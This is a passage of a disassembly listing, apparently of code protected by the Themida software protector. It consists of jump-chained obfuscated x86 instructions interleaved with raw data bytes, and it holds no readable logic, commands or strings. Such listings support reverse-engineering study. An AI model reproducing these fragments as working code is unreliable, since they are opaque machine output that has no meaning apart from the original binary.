loc_558244 ; --------------------------------------------------------------------------- loc_56430A: ; CODE XREF: Themida_:00554335j add esi, edx jmp loc_5584FF ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 87000000h, 685C240Ch, 3AE57684h, 0AF29E959h, 0EC83FFFFh dd 64C9E904h, 0B60FFFFFh, 776866C0h, 4896611h, 0E87DE924h dd 74FFFFFEh, 0F9E90424h, 89000036h, 0D189240Ch, 5C1968h dd 240C8900h, 0E4240481h, 8B22185Ah, 0C483241Ch, 0E4EB8104h dd 8B22185Ah, 0C483240Ch, 24148B04h, 0E904C483h, 0FFFEE843h dd 0E88852B5h, 8E80E959h, 0EAC1FFFFh, 64E28105h, 8134287Fh dd 80E251C2h, 8BD63135h, 0C4812414h, 4, 569ABE56h, 0D7E94067h dd 8BFFFF04h, 0C4832434h, 24048F04h, 0E924248Bh, 0FFFFC0C0h dd 42474FFh, 81242C8Bh, 4C4h, 5909E900h, 0E089FFFFh, 405h dd 40500h, 0FF500000h, 58042474h, 0E924048Fh, 0FFFF5B02h ; --------------------------------------------------------------------------- loc_5643E4: ; CODE XREF: Themida_:00558E71j add edx, 4 jmp loc_566065 ; --------------------------------------------------------------------------- loc_5643EF: ; CODE XREF: Themida_:0055F49Ej sub esp, 4 mov [esp], edx jmp loc_5553C6 ; --------------------------------------------------------------------------- loc_5643FA: ; CODE XREF: Themida_:0055EB46j add al, 0B6h add al, dh sub al, 0B6h push ecx mov cl, 9 sub cl, 23h jmp loc_559C90 ; --------------------------------------------------------------------------- db 0F7h dd 315A2414h, 0E9CA31D1h, 0FFFFADEBh, 4C381h, 0C3830000h dd 241C8704h, 7268685Ch, 0C890000h, 14E3E924h, 0D9010000h dd 0FFCF015Bh, 68592434h, 4A9Ah, 54243C89h, 4C7815Fh, 52000000h dd 4BAh, 11FE900h db 2 dup(0) word_564456 dw 2CACh ; DATA XREF: Themida_:00552A80o dd 42004F9h, 2CD80092h, 4EC8392h, 0B3241C89h, 7DEB809Dh dd 0D8288004h, 5072B753h, 0E0D024B0h, 7DE90D24h, 81FFFEEFh dd 0E25C0CF3h, 8BDE0145h, 0C481241Ch, 4, 1DDABD55h, 0C5813D92h dd 0DDCB46CCh, 2393E9h, 4BA00h, 0C3810000h, 3D5510C3h dd 5EA9EB81h, 8FE9524Dh db 64h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5644B7: ; CODE XREF: Themida_:00566243j xor dword ptr [esp], 1DA21147h mov ecx, [esp] add esp, 4 jmp loc_563AD7 ; --------------------------------------------------------------------------- db 54h, 8Fh, 4 dd 24048324h, 24048B04h, 504C483h, 4, 8304C083h, 48904ECh dd 2474FF24h, 48F5804h, 0C0DAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5644F2: ; CODE XREF: Themida_:00558CCCj add eax, edx jmp loc_55B80A ; --------------------------------------------------------------------------- db 55h, 0BDh, 0A9h dd 29481330h, 0BE565DEEh, 4F696718h, 1376CE81h, 8AE90A8Fh dd 66FFFFC5h, 0F766D9F7h, 2CB5E9D9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56451E: ; CODE XREF: Themida_:0055BAD0j mov dl, ch pop cx jmp loc_55C6C5 ; --------------------------------------------------------------------------- db 81h dd 35EC9AC1h, 11F6BD99h, 0CD0144C8h, 53240C8Bh, 0FAE9E389h dd 2DFFFF2Eh, 64E23812h, 385852Dh, 58C2297Ah, 0C104E2C1h dd 0C28103EAh, 0F4564A74h, 835AD001h, 4EE904E8h, 50FFFF01h dd 0FFE087E9h db 0FFh ; --------------------------------------------------------------------------- loc_564569: ; CODE XREF: Themida_:00556194j push ebp mov ebp, 749B7B97h dec ebp jmp loc_559237 ; --------------------------------------------------------------------------- db 1, 0D7h, 0E9h dd 3702h ; --------------------------------------------------------------------------- loc_56457C: ; CODE XREF: Themida_:005634ADj pop eax add esp, 4 pop ebx push 1EE8h jmp loc_5650B8 ; --------------------------------------------------------------------------- db 0BAh dd 4, 131DE9h, 24C28100h, 16A8593h, 24148BD3h, 8104C483h dd 2E371BC3h, 81D3294Bh, 2E371BEBh, 0A2EB814Bh, 5A11BB27h dd 643FBA52h, 0EAC15E6Dh, 0F336E904h, 0E7C1FFFFh, 1CBA5202h dd 0E9E375DBh, 0D75h, 2B55EF81h, 815A7198h, 3F7772EFh dd 88B4E964h, 1433FFFFh, 24143124h, 8B241433h, 0F662424h dd 9C2404ABh, 0FEE5BEE9h db 0FFh ; --------------------------------------------------------------------------- loc_5645FD: ; CODE XREF: Themida_:00558BC0j push ecx mov ecx, 4 sub eax, 72F927F1h add eax, ecx push edi jmp loc_557775 ; --------------------------------------------------------------------------- loc_564610: ; CODE XREF: Themida_:0056780Dj mov bh, 18h dec bh jmp loc_55493B ; --------------------------------------------------------------------------- loc_564619: ; CODE XREF: Themida_:00561E0Aj sub [edi+20h], ecx mov ecx, [esp] add esp, 4 loc_564625: ; CODE XREF: Themida_:00554EC9j ; Themida_:00565249j push dword ptr [esp] jmp loc_564196 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0FF190BE9h db 0FFh ; --------------------------------------------------------------------------- loc_564635: ; CODE XREF: Themida_:0055F52Fj mov ebx, 60EB4724h shr ebx, 1 shl ebx, 1 add ebx, 343F4280h shl ebx, 5 dec ebx add ebx, 964F199Dh add eax, ebx pop ebx jmp loc_55C177 ; --------------------------------------------------------------------------- dw 0C681h dd 340A128Dh, 0ACDFEE81h, 0C4E92421h db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564667: ; CODE XREF: Themida_:00563210j add esp, 4 jmp loc_5582DD ; --------------------------------------------------------------------------- dw 295Ah dd 0CD015EF5h, 0FF0B58E9h, 6BDAB9FFh, 8151519Fh, 2B54242Ch dd 5585F32h, 5F322B54h, 5A99E959h db 2 dup(0FFh) word_564696 dw 77FFh ; DATA XREF: Themida_:00552A14o dd 59669D1Ch, 241CD366h, 0E515E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5646A6: ; CODE XREF: Themida_:00553F3Fj neg edi add edi, 17AB7C2Ch push edx mov edx, 1235DE41h jmp loc_559054 ; --------------------------------------------------------------------------- db 0BDh, 0E6h, 50h dd 0EF214102h, 48F7815Dh, 0E932B965h, 273Dh, 68240C89h dd 990057Bh, 81240C8Bh, 4C4h, 0B8505200h, 3BFF294Eh, 19D9BE56h dd 0E1E902CBh, 81FFFFA6h, 0C7F5CEAh, 0DE28155h, 0E9289846h dd 0FFFF123Eh ; --------------------------------------------------------------------------- loc_564700: ; CODE XREF: Themida_:00558A3Cj pop ebp jmp loc_565A5A ; --------------------------------------------------------------------------- word_564706 dw 48Bh ; DATA XREF: Themida_:00552A6Co dd 33E95724h, 29FFFFD4h, 0C875FF9h, 43E95C24h, 81FFFF49h dd 0BC4AA0E2h, 2E2C117h, 2797E9h db 0 byte_564729 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00552B34o dd 4EC8324h, 89242C89h, 4C581E5h, 0E9000000h, 0FFFF21DAh dd 8124048Bh, 4C4h, 40500h, 0C1680000h, 0E9000000h, 0FFFF30ACh dd 2547E95Ah, 4890000h, 0E9F48824h, 0FFFFCB7Eh ; --------------------------------------------------------------------------- loc_564768: ; CODE XREF: Themida_:00567DE6j sub esp, 4 mov [esp], ebp mov ebp, esp push edx mov edx, 4 jmp loc_558E9E ; --------------------------------------------------------------------------- db 83h dd 1C8904ECh, 9BE95524h db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564787: ; CODE XREF: Themida_:005536D1j xor [esp+4], ebp pop ebp mov ebp, [esp] jmp loc_55A06F ; --------------------------------------------------------------------------- dd 9001E981h, 0E1817DB4h, 26F26A6Ch, 0F702E1C1h, 0AEE949D1h dd 89FFFF6Fh, 8CC8E9E7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5647B2: ; CODE XREF: Themida_:0055A598j mov esp, [esp] movsx ecx, al sub esp, 4 mov [esp], eax jmp loc_55798A ; --------------------------------------------------------------------------- byte_5647C3 db 54h ; DATA XREF: Themida_:0055291Co dd 0E92434FFh, 0FFFFF35Ah ; --------------------------------------------------------------------------- loc_5647CC: ; CODE XREF: Themida_:00563D69j add esp, 4 pop dword ptr [esp] push 1Fh mov [esp], eax xchg edx, [esp] not edx xchg edx, [esp] push dword ptr [esp] pop eax add esp, 4 xchg eax, [esp] push dword ptr [esp] pop eax sub esp, 4 mov [esp], eax jmp loc_553654 ; --------------------------------------------------------------------------- loc_564801: ; CODE XREF: Themida_:0055372Aj pop esp push 3969h mov [esp], ebp mov ebp, 5F2035AFh push ecx mov ecx, 1ABF1527h neg ecx sub ecx, 0AC67E087h jmp loc_55E28F ; --------------------------------------------------------------------------- loc_564822: ; CODE XREF: Themida_:0055704Cj mov ebp, ecx pop ecx xor ebx, ebp jmp loc_55E983 ; --------------------------------------------------------------------------- dd 15BEF581h, 0A6E9285Fh db 80h, 2 dup(0FFh) byte_564837 db 66h ; DATA XREF: Themida_:005529C4o dd 68240C8Bh, 20E2h, 89241C89h, 0CC2FE9E3h, 0F781FFFFh dd 7A506ACAh, 4FFEF81h, 0FD29458Fh, 83243C8Bh, 0E80104C4h dd 83242C8Bh, 0BB5304C4h, 0E4A1Dh, 0DBF7E3D1h, 8107E3C1h dd 4270A2EBh, 5E3C12Ch, 4785F381h, 0D801B70Eh, 686F685Bh dd 34890000h, 0CEBF5724h, 83647C4Fh, 0C781FFC7h, 6C675083h dd 8108E7C1h, 7C4F58C7h, 0AAC78113h, 531267FCh, 0FF5CADE9h dd 4C481FFh, 0E9000000h, 1C43h, 78AE958h, 48B0000h, 0E5AFE924h dd 0EB80FFFEh, 0E9D30097h, 0FFFF99A8h, 5C242C87h, 0FFD47DE9h dd 815F54FFh, 4C7h, 80B85000h, 0C16F1B45h, 0D60504E0h dd 572CD924h, 7BC3B850h, 0C7891235h, 0F09DE958h, 0C581FFFFh dd 0FFFFFFFFh, 57BF5750h, 0B85EB35Ch, 5EE33189h, 525FF831h dd 0D14C22BAh, 5FF2810Bh, 425C6015h, 0FF0E7DE9h, 24048FFFh dd 8924248Bh, 0E2892414h, 4C281h, 58680000h, 8900001Ch dd 2B82404h, 1000000h, 148758C2h, 24D35C24h, 4AE99C24h dd 81FFFFF6h, 4C2h, 0EAC8E900h, 0EE81FFFEh, 85A78B0h, 5EF0295Dh dd 0BDE95455h, 89FFFF44h, 0CF295BD9h, 0FF2C59E9h db 0FFh ; --------------------------------------------------------------------------- loc_56497D: ; CODE XREF: Themida_:0055EFE0j push 7200h mov [esp], edi sub esp, 4 mov [esp], esi push 43111E55h pop esi xor esi, 43111E51h jmp loc_5681B1 ; --------------------------------------------------------------------------- loc_56499F: ; CODE XREF: Themida_:0055F64Cj add esp, 4 not ah push ebx jmp loc_55DDA0 ; --------------------------------------------------------------------------- dw 34FFh dd 0BA70E924h, 0C7FEFFFFh, 0FFD317E9h, 4C483FFh, 5C243C87h dd 4EC8155h, 89000000h, 7AE92424h db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5649CF: ; CODE XREF: Themida_:00562918j add ebp, edx jmp loc_560B47 ; --------------------------------------------------------------------------- dw 0E0C1h dd 6E0C103h, 0E29EE995h, 0BD55FFFEh, 241809BFh, 2C8BEB89h dd 4C48124h, 81000000h, 0E72C04CBh, 7E3C14Ah, 2BFFF381h dd 0BF576A9Dh, 1BC529AAh, 11C7E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564A0E: ; CODE XREF: Themida_:005601D9j sub esp, 4 mov [esp], edx jmp loc_560ACA ; --------------------------------------------------------------------------- db 0C1h, 0EAh, 5 dd 0A1F6C281h, 1BE92AD7h db 6Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564A27: ; CODE XREF: Themida_:00564123j add esp, 4 push edi push 4 mov edi, [esp] add esp, 4 add eax, 1E563ED0h sub eax, edi sub eax, 1E563ED0h pop edi jmp loc_567230 ; --------------------------------------------------------------------------- loc_564A4E: ; CODE XREF: Themida_:0055475Bj push eax push ebp mov ebp, 39334B56h neg ebp dec ebp xor ebp, 0C901EA7Ah mov eax, ebp pop ebp sub ebx, eax pop eax add edx, ebx pop ebx add edx, 4 jmp loc_563118 ; --------------------------------------------------------------------------- loc_564A72: ; CODE XREF: Themida_:00563A30j add esi, ecx jmp loc_553ED2 ; --------------------------------------------------------------------------- byte_564A79 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005529ECo aHH db '$hжh',0 align 2 dw 3C89h dd 0C0D6824h, 24890000h, 4BB5324h, 1000000h, 5B04245Ch dd 0E9243C8Bh, 0FFFEEE5Bh, 241C895Ch, 0FFACD3E9h db 0FFh ; --------------------------------------------------------------------------- loc_564AA9: ; CODE XREF: Themida_:0056363Ej sub ebx, 6B237748h inc ebx shr ebx, 7 inc ebx shl ebx, 3 sub ebx, 0A618E4A1h add esi, ebx pop ebx mov edi, esi pop esi jmp loc_5672C1 ; --------------------------------------------------------------------------- dd 0FA88EF88h, 305B595Bh, 14322414h, 0D944E924h, 0C281FFFFh dd 76703E89h, 565AD531h, 0D27215BEh, 2E6C10Dh, 6B7EC681h dd 0BF5727C8h, 407E7C79h, 0E7C1DFF7h, 0ECADE908h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564B02: ; CODE XREF: Themida_:00562CCDj or eax, eax jz loc_566AE4 push dword ptr [edi+1Ch] push ecx mov ecx, 128F2FCEh xor [esp+4], ecx jmp loc_561D79 ; --------------------------------------------------------------------------- dd offset dword_567268 dd 24348900h, 0C6815E54h, 4, 4EE81h, 0C6E90000h, 5EFFFEE6h dd 0FEE299E9h, 0B4BE56FFh, 2926DC16h, 0BF575EF0h, 3B5068F0h dd 3697E9h, 0F8CB8100h, 52536753h, 520EA6BAh, 97C28178h dd 0E9249E40h, 0FFFEE104h, 5759CE21h, 6A0333BFh, 6E7C10Eh dd 6E1AE781h, 0E7C171D0h, 0EE30E906h, 1C8BFFFFh, 4C48124h dd 2C000000h, 0ECACE9E5h, 4401FFFEh, 6C810424h, 7B900424h dd 56582BD0h, 7D719DBEh, 4C58E94Ah, 0EC81FFFFh, 4, 54243C89h dd 4C7815Fh, 0E9000000h, 0FFFFF2BCh, 5F0295Fh, 5E9A5A48h dd 67E9525Eh, 58FFFF1Dh, 0FF3645E9h, 7CE943FFh db 9, 2 dup(0) byte_564BDB db 0FFh ; DATA XREF: Themida_:005528DCo dd 669D1C77h, 14D36659h, 0A6E99C24h db 36h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564BEB: ; CODE XREF: Themida_:00558E0Bj add esi, 4 jmp loc_55911F ; --------------------------------------------------------------------------- dw 0D389h dd 0E9D9015Ah, 0FFFEF2F8h ; --------------------------------------------------------------------------- loc_564C00: ; CODE XREF: Themida_:0055899Ej add edi, ebx pop ebx sub edi, ebp sub edi, 5324191Dh push dword ptr [esp] pop ebp add esp, 4 jmp loc_554517 ; --------------------------------------------------------------------------- db 81h dd 0C07343E3h, 46F3813Fh, 1020040h, 0EA815BDAh, 4, 0E9241487h dd 0FFFFCC56h, 0B8240489h, 4, 0E958C701h, 0FFFFCD5Bh, 5C241487h dd 0E92434FFh, 0FFFFFF7Fh ; --------------------------------------------------------------------------- loc_564C50: ; CODE XREF: Themida_:005672E6j push eax push 4 pop eax jmp loc_55AB81 ; --------------------------------------------------------------------------- dd 4247C29h, 2404815Fh, 4A7D719Dh, 0F9242C81h, 5B1E027Bh dd 8904EC83h, 42682404h, 585750B2h, 9BE6E957h, 1C33FFFFh dd 659CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564C8A: ; CODE XREF: Themida_:005585F8j xor [esp+4], ebp pop ebp pop edx xor edx, 2B6F5B60h mov ebx, [esp] jmp loc_55BDA8 ; --------------------------------------------------------------------------- dw 15Fh dd 495AE9EBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564CA6: ; CODE XREF: Themida_:0055F301j sub ebp, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 push edi mov edi, 53534407h push esi jmp loc_5659CE ; --------------------------------------------------------------------------- byte_564CC3 db 0ADh ; DATA XREF: Themida_:005529D0o dd 0E904EC83h, 0FFFF1626h ; --------------------------------------------------------------------------- loc_564CCC: ; CODE XREF: Themida_:0056739Bj mov esp, [esp] push 6A28h mov [esp], edx push 0F41h mov [esp], ebp mov ebp, 7B5F4544h not ebp not ebp sub ebp, 6FA90E74h sub ebp, 9299DBACh jmp loc_55C6E6 ; --------------------------------------------------------------------------- db 31h, 0Ch, 24h dd 0FEF83BE9h, 46E950FFh db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564D07: ; CODE XREF: Themida_:0055E484j push ebx push 5464h mov [esp], edi mov edi, 19D525E7h jmp loc_5622AF ; --------------------------------------------------------------------------- dw 0EABBh dd 4B781452h, 58BA5243h, 93C4744h, 0F3815AD3h, 32E83EFCh dd 3340E381h, 44E970C1h db 0C5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564D3B: ; CODE XREF: Themida_:00562B75j lea eax, [edi+eax*4] jmp loc_568055 ; --------------------------------------------------------------------------- aFyaSi db 'fY─б╟И╗',7,0 dd 0EB815D00h, 0C3D1BE09h, 8B5BDE01h, 0C481242Ch, 4, 79B668h dd 241C8900h, 0FF479DE9h, 5AD030FFh, 4BE9C300h, 5AFFFFD7h dd 4C281h, 0BE560000h, 2A0C49F2h, 33E9h, 0B5BA5200h, 1BF0008h dd 0B7E95AD6h db 8Ah, 2 dup(0FFh) byte_564D97 db 66h ; DATA XREF: Themida_:00552B60o dd 0E9240C8Bh, 0FFFF3B61h, 6850E189h, 7320h, 0BE243489h dd 0F164501h, 164505B8h, 0E9F0310Fh, 0FFFF56D8h, 2AB0CE81h dd 0EE815D46h, 7F4E6BEEh, 0E95EF201h, 0FFFF7CB6h, 547768h dd 240C8900h, 0FB7716B9h, 0E9CF29FCh, 0FFFF3AC0h, 0C381C329h dd 44574A9Fh, 4F59C381h, 0E9574846h, 0FFFFD5AEh, 0E92434FFh dd 0FFFFA69Ah ; --------------------------------------------------------------------------- loc_564E00: ; CODE XREF: Themida_:00566CB3j push esi jmp loc_55BFE0 ; --------------------------------------------------------------------------- loc_564E06: ; CODE XREF: Themida_:00565892j add ecx, esi pop esi jmp loc_566047 ; --------------------------------------------------------------------------- dw 0C501h dd 5819C581h, 87586FB1h, 555C242Ch, 4BDh, 0C768E900h, 295AFFFFh dd 243C8BFBh, 8104C483h, 4ECh, 241C8900h, 42474FFh, 0E92434FFh dd 24CDh ; --------------------------------------------------------------------------- loc_564E44: ; CODE XREF: Themida_:005670E5j not edx xor edx, 0DCD1DA92h add ebx, edx pop edx push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] mov eax, edx jmp loc_553AAD ; --------------------------------------------------------------------------- dw 4F35h dd 896C6D69h, 0F70158C7h, 1F86E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564E72: ; CODE XREF: Themida_:0056542Aj add edi, 15CC63AAh add ebp, edi pop edi shl ebp, 4 xor ebp, 0E10651D1h sub esp, 4 mov [esp], ecx mov ecx, ebp push esi push ebp mov ebp, ecx mov esi, ebp pop ebp mov eax, esi mov esi, [esp] jmp loc_553EC1 ; --------------------------------------------------------------------------- db 89h, 0F0h, 0E9h dd 0FFFF3931h, 0E4E95358h, 81FFFFCCh, 173B2FC9h, 0E1C14112h dd 0C7F18108h, 81C79B9Ch, 0D40D7CEEh, 0EDFCE90Ch, 0C381FFFFh dd 4, 4EB81h, 1C870000h, 4895C24h, 44E95324h db 0E9h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564EDF: ; CODE XREF: Themida_:0055FBF6j sub esp, 4 jmp loc_554884 ; --------------------------------------------------------------------------- byte_564EE7 db 66h ; DATA XREF: Themida_:00552AC8o dd 5124048Bh, 0FF1149E9h db 0FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx jmp loc_56532E ; --------------------------------------------------------------------------- dw 0D6F7h dd 0FFCCA7E9h, 0E6C15EFFh, 1AE68104h, 81527958h, 5F359BC6h dd 5EF08916h, 48BC231h, 4C48124h, 81000000h, 0B87A9EEAh dd 5AD3014Fh, 555BDA01h, 2BDh, 8BEA0100h, 5453242Ch, 1F7BE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564F3E: ; CODE XREF: Themida_:0055A3DFj and ebx, 5297C18h shl ebx, 8 and ebx, 14370FDh sub ebx, 0FB75C740h sub edi, ebx pop ebx add edi, 7406116Bh sub ebx, edi pop edi xor ebx, 3AB18088h and eax, ebx mov ebx, [esp] push esi jmp loc_559C98 ; --------------------------------------------------------------------------- dd 8104C483h, 4C4h, 1A71E900h, 2C890000h, 2A19BD24h, 0E82178A2h dd 0F5F3055Dh, 0B951A7DDh, 53775B5Dh, 66E5E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564F9A: ; CODE XREF: Themida_:005657B8j add eax, 4 sub eax, 4 jmp loc_55C69F ; --------------------------------------------------------------------------- db 1 dd 68DA05C8h, 0C8B67E6h, 2BEDE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_564FB6: ; CODE XREF: Themida_:005538B2j sub eax, edx pop edx add eax, 5C0F742Eh add eax, ecx sub eax, 5C0F742Eh jmp loc_55CEDD ; --------------------------------------------------------------------------- dw 3B68h dd 89000063h, 0B9BD242Ch, 0E931F920h, 0FFFEE6FAh, 7AD5C181h dd 6AE97A9Fh, 2DFFFF60h, 44E1344Fh, 2404335Ah, 0E9240431h dd 0FFFF8BD7h, 5548CB81h, 0EBC1107Ah, 1FA4E905h db 2 dup(0) ; --------------------------------------------------------------------------- loc_565006: ; CODE XREF: Themida_:0055FADBj xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] movsx ecx, ax push 3DA3h mov [esp], edx push esp jmp loc_55CC31 ; --------------------------------------------------------------------------- loc_565023: ; CODE XREF: Themida_:00554DFCj mov ebx, 6BA03313h mov edx, 0EB5236B2h add edx, 0AF70058h add edx, 36013289h add edx, ebx sub edx, 36013289h sub edx, 0AF70058h jmp loc_560B5F ; --------------------------------------------------------------------------- dd 0E98CB151h, 0FFFFCB5Dh, 66EDD166h, 6607EDC1h, 28BF6657h dd 0C06BE93Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565066: ; CODE XREF: Themida_:0055AA85j add edx, eax mov eax, [esp] add esp, 4 mov ebp, [esp] push edx mov edx, esp push edi mov edi, 4 jmp loc_55750F ; --------------------------------------------------------------------------- dw 0D989h dd 0D9F7415Bh, 1C65C181h, 0F18101D2h, 0B33BBD66h, 368EF81h dd 0CF0148F3h, 368C781h, 3DE948F3h db 2, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5650A7: ; CODE XREF: Themida_:00558BDFj sub edi, 3F921D03h mov ebx, [esp] add esp, 4 jmp loc_5656B3 ; --------------------------------------------------------------------------- loc_5650B8: ; CODE XREF: Themida_:00564586j mov [esp], ebx push 1 push dword ptr [esp] pop ebx sub esp, 4 mov [esp], esi mov esi, esp jmp loc_565E87 ; --------------------------------------------------------------------------- db 1, 0EFh, 81h dd 9A18F6C7h, 0C2B9E966h, 0C605FFFFh, 8B500A28h, 0C481243Ch dd 4, 6F05C801h, 53B3724h, 1DB31BF5h, 0FFC16AE9h, 2DD801FFh dd 664C1E7Bh, 251E162Dh, 241C8B0Bh, 5704C483h, 2BFh, 5FF80100h dd 2474FF50h, 4253E904h, 0D831FFFFh, 0E92434FFh, 0FFFFEB2Bh dd 181C26BFh, 0D7F74F00h, 5206EFC1h, 6B2DFCBAh, 87EA8755h dd 0E9D387DDh, 0FFFF736Ah, 0E9240489h, 27CFh, 0ECC061B4h dd 80DCF603h, 0F48059F4h, 58E62850h, 0D068E680h, 1FCE80E6h dd 456EE80h, 0B65266ACh, 66F028FEh, 0B353665Ah, 66D8005Dh dd 2CF0005Bh, 66FE045Dh, 28ACB151h, 0E95966C8h, 0FFFF4205h ; --------------------------------------------------------------------------- loc_565190: ; CODE XREF: Themida_:0055BB92j pop edx mov dh, cl pop ecx push ebx jmp loc_556E77 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 54F65066h, 58660124h, 80EAEC80h, 9BE9B0CCh dd 53FFFFBCh, 88E18851h, 0F98859CFh, 0CF88585Bh, 1DB2E9h dd 21685C00h, 8900004Fh, 74FF2404h, 8F580424h, 0E95C2404h dd 0FFFFDBA4h, 8124348Bh, 4C4h, 0FEF68100h, 8B3BA15Dh dd 0C481243Ch, 4, 34FFF001h, 24348B24h, 4C481h, 0C4830000h dd 0F5EB8104h, 0E9028167h, 0FFFF36A9h, 0DDF7D5F7h, 0FF31E3E9h db 0FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_561C95 ; --------------------------------------------------------------------------- loc_565221: ; CODE XREF: Themida_:0055A17Aj add esp, 4 push ebx sub dword ptr [esp], 6D1748BDh pop ebp push eax mov eax, 0A383A4Fh shl eax, 8 or eax, 0C9F7B5Dh push edx push ebp jmp loc_555079 ; --------------------------------------------------------------------------- loc_565245: ; CODE XREF: Themida_:005598B9j shr edx, 1 cmp eax, edx jz loc_564625 push 7143h mov [esp], ebx mov ebx, 4DF64099h shr ebx, 2 push ecx mov ecx, 30A56FCh xor ecx, 4DC17020h shr ecx, 3 xor ecx, 10413902h add ebx, 59DA7294h sub ebx, ecx sub ebx, 59DA7294h pop ecx push esi mov esi, 39C21A9Dh inc esi jmp loc_561DCD ; --------------------------------------------------------------------------- db 5Eh dd 0FF0031E9h db 0FFh ; --------------------------------------------------------------------------- loc_565295: ; CODE XREF: Themida_:00562070j push 2A51h mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov eax, 4D8F5940h push edx jmp loc_55ACF5 ; --------------------------------------------------------------------------- loc_5652B8: ; CODE XREF: Themida_:00566D9Ej mov edx, 2BB87A85h shr edx, 7 neg edx neg edx and edx, 6D259FCh jmp loc_55C9CF ; --------------------------------------------------------------------------- off_5652CF dd offset loc_551667+1 ; DATA XREF: Themida_:00552914o align 4 dd 7D2568h, 4EC8100h, 54000000h, 8124048Fh, 4ECh, 24348900h dd 0FF289DE9h, 2EC83FFh, 0FF823DE9h, 0EBE95BFFh db 0C4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5652FF: ; CODE XREF: Themida_:0055799Dj sub edx, 1 xchg ebx, edx not ebx xchg ebx, edx push edi mov edi, 0 jmp loc_557C5E ; --------------------------------------------------------------------------- dw 0EC83h dd 24348904h, 4BEh, 8BF72900h, 0C4832434h, 7296E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56532E: ; CODE XREF: Themida_:00564EF5j mov ecx, 4 add ebp, ecx pop ecx jmp loc_55F816 ; --------------------------------------------------------------------------- db 89h dd 0B8E95BDDh db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_565343: ; CODE XREF: Themida_:0055DFEEj push ecx jmp loc_56408B ; --------------------------------------------------------------------------- db 31h, 0D7h, 8Bh dd 89572414h, 4C781E7h, 83000000h, 3C8704C7h, 3CE95C24h db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565363: ; CODE XREF: Themida_:00563789j pop ebx add eax, ecx pop ecx push dword ptr [esp] mov esi, [esp] jmp loc_566873 ; --------------------------------------------------------------------------- dw 48Fh dd 24248B24h, 0FEE593E9h db 0FFh ; --------------------------------------------------------------------------- loc_56537D: ; CODE XREF: Themida_:00554898j mov eax, 70AC3DDDh not eax sub eax, 7C3A65BDh dec eax shl eax, 4 neg eax sub eax, 0CE6A39BCh mov ebp, eax jmp loc_55B7BE ; --------------------------------------------------------------------------- loc_56539B: ; CODE XREF: Themida_:00564152j push 0C0Bh mov [esp], edi jmp loc_55BE35 ; --------------------------------------------------------------------------- dd 0B19BE951h, 0DBF7FFFFh, 442EB81h, 0C5E94D61h db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5653BB: ; CODE XREF: Themida_:0056306Aj push bx push eax mov al, 0B4h or al, 0FAh add al, 3Dh mov bh, al jmp loc_567F4D ; --------------------------------------------------------------------------- db 5Eh dd 8EE9F001h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_560FEE ; --------------------------------------------------------------------------- loc_5653DB: ; CODE XREF: Themida_:00556704j mov esi, esp jmp loc_56586C ; --------------------------------------------------------------------------- dw 0D8F7h dd 1A65E305h, 0E9C7016Ah, 0FFFEF319h, 5624148Bh, 0C681E689h dd 4, 4C681h, 34870000h, 24248B24h, 1C8BD830h, 59545124h dd 4C181h, 0C1810000h, 4, 0FEFF02E9h db 0FFh ; --------------------------------------------------------------------------- loc_565421: ; CODE XREF: Themida_:005556A1j add ebp, 866280B3h and edi, ebp pop ebp jmp loc_564E72 ; --------------------------------------------------------------------------- byte_56542F db 0ADh ; DATA XREF: Themida_:00552A54o dd 0EC83D831h, 24148904h, 4CE068h, 2404E900h, 0C5810000h dd 18783818h, 0FF5228E9h db 0FFh ; --------------------------------------------------------------------------- loc_56544D: ; CODE XREF: Themida_:0055CA19j push ecx jmp loc_560D3B ; --------------------------------------------------------------------------- db 89h dd 8B68240Ch, 89000052h, 0FAE92424h, 5FFFFF8Ch, 735AC381h dd 0B6E944C9h, 81000003h, 0CA7CF4C7h, 81CF013Ch, 0CA7CF4EFh dd 52EF813Ch, 68558B72h, 4093h, 68242C89h, 11C95689h, 81242C8Bh dd 4C4h, 5DEF0100h, 0A68FDh, 0BEE90000h, 89FFFF21h, 0E589242Ch dd 4C581h, 